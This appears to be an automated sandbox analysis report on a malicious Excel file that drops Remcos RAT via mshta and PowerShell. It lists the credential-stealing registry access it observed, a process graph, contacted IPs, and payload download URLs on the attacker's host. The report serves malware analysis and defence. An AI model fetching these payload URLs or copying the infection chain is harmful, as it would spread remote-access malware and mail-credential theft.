Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\8503020000000000c000000000000046
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9207f3e0a3b11019908b08002b2a56c2
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\b17a5dedc883424088e68fc9f8f9ce35
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ddb0922fc50b8d42be5a821ede840761
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f6b27b1a9688564abf9b7e1bd5ef7ca7
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f86ed2903a4a11cfb57e524153480001
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows Live Mail
Tries to steal Mail credentials (via file registry)
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: ESMTPPassword 35_2_004033F0
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: _mbscpy,_mbscpy,_mbscpy,_mbscpy,RegCloseKey, PopPassword 35_2_00402DB3
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: _mbscpy,_mbscpy,_mbscpy,_mbscpy,RegCloseKey, SMTPPassword 35_2_00402DB3

Remote Access Functionality
barindex
Detected Remcos RAT
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Mutex created: \Sessions\1\BaseNamedObjects\Rmc-DSGECX
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Mutex created: \Sessions\1\BaseNamedObjects\Rmc-DSGECX
Yara detected Remcos RAT
Source: Yara match File source: 00000021.00000002.1004764696.0000000006AA4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: Vaccinerende.exe PID: 3116, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1522508 Sample: PO 11001 .xls Startdate: 30/09/2024 Architecture: WINDOWS Score: 100 124 Suricata IDS alerts for network traffic 2->124 126 Multi AV Scanner detection for submitted file 2->126 128 Yara detected GuLoader 2->128 130 12 other signatures 2->130 13 EXCEL.EXE 57 29 2->13         started        18 powershell.exe 2->18         started        20 powershell.exe 2->20         started        process3 dnsIp4 104 192.3.220.22, 49164, 49166, 49167 AS-COLOCROSSINGUS United States 13->104 106 og1.in 104.21.78.54, 443, 49163, 49168 CLOUDFLARENETUS United States 13->106 94 C:\Users\user\Desktop\PO 11001 .xls (copy), Composite 13->94 dropped 96 C:\Users\...\cookienetbookinetcahce[1].hta, HTML 13->96 dropped 154 Microsoft Office drops suspicious files 13->154 22 mshta.exe 10 13->22         started        26 mshta.exe 13->26         started        28 powershell.exe 18->28         started        30 powershell.exe 20->30         started        file5 signatures6 process7 dnsIp8 98 172.67.216.244, 443, 49165 CLOUDFLARENETUS United States 22->98 100 og1.in 22->100 148 Suspicious command line found 22->148 150 PowerShell case anomaly found 22->150 32 cmd.exe 22->32         started        102 og1.in 26->102 35 cmd.exe 26->35         started        signatures9 process10 signatures11 112 Suspicious powershell command line found 32->112 114 PowerShell case anomaly found 32->114 37 powershell.exe 24 32->37         started        41 powershell.exe 35->41         started        process12 file13 80 C:\Users\user\AppData\Roaming\dllhost.exe, PE32 37->80 dropped 82 C:\Users\user\AppData\...\dllhost[1].exe, PE32 37->82 dropped 84 C:\Users\user\AppData\...\sm41lsyu.cmdline, Unicode 37->84 dropped 140 Installs new ROOT certificates 37->140 142 Powershell drops PE file 37->142 43 dllhost.exe 3 29 37->43         started        47 csc.exe 2 37->47         started        49 dllhost.exe 41->49         started        51 csc.exe 41->51         started        signatures14 process15 file16 88 C:\Users\user\AppData\...\Aerognosy.Res, ASCII 43->88 dropped 152 Suspicious powershell command line found 43->152 53 powershell.exe 3 43->53         started        90 C:\Users\user\AppData\Local\...\sm41lsyu.dll, PE32 47->90 dropped 57 cvtres.exe 47->57         started        59 powershell.exe 49->59         started        92 C:\Users\user\AppData\Local\...\r4gn3nq1.dll, PE32 51->92 dropped 61 cvtres.exe 51->61         started        signatures17 process18 file19 86 C:\Users\user\AppData\...\Vaccinerende.exe, PE32 53->86 dropped 144 Writes to foreign memory regions 53->144 146 Powershell drops PE file 53->146 63 Vaccinerende.exe 53->63         started        67 Vaccinerende.exe 59->67         started        signatures20 process21 dnsIp22 108 107.173.4.16, 2404, 49174, 49175 AS-COLOCROSSINGUS United States 63->108 110 geoplugin.net 178.237.33.50, 49176, 80 ATOM86-ASATOM86NL Netherlands 63->110 116 Detected unpacking (changes PE section rights) 63->116 118 Detected Remcos RAT 63->118 120 Tries to steal Mail credentials (via file registry) 63->120 122 3 other signatures 63->122 69 Vaccinerende.exe 63->69         started        72 Vaccinerende.exe 63->72         started        74 Vaccinerende.exe 63->74         started        76 14 other processes 63->76 signatures23 process24 signatures25 132 Tries to steal Instant Messenger accounts or passwords 69->132 134 Tries to steal Mail credentials (via file / registry access) 69->134 136 Searches for Windows Mail specific files 69->136 138 Tries to harvest and steal browser information (history, passwords, etc) 76->138 78 reg.exe 76->78         started        process26
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
104.21.78.54
 og1.in United States
13335 CLOUDFLARENETUS false
192.3.220.22
 unknown United States
36352 AS-COLOCROSSINGUS true
107.173.4.16
 unknown United States
36352 AS-COLOCROSSINGUS true
178.237.33.50
 geoplugin.net Netherlands
8455 ATOM86-ASATOM86NL false
172.67.216.244
 unknown United States
13335 CLOUDFLARENETUS false

Contacted Domains

Name IP Active
og1.in 104.21.78.54 true
geoplugin.net 178.237.33.50 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://og1.in/2Rxzb3 false unknown
http://192.3.220.22/hFXELFSwRHRwqbE214.bin true
    		unknown
    http://192.3.220.22/xampp/en/cookienetbookinetcahce.hta true unknown
    http://geoplugin.net/json.gp false
    • URL Reputation: safe
    		 unknown
    http://192.3.220.22/430/dllhost.exe true unknown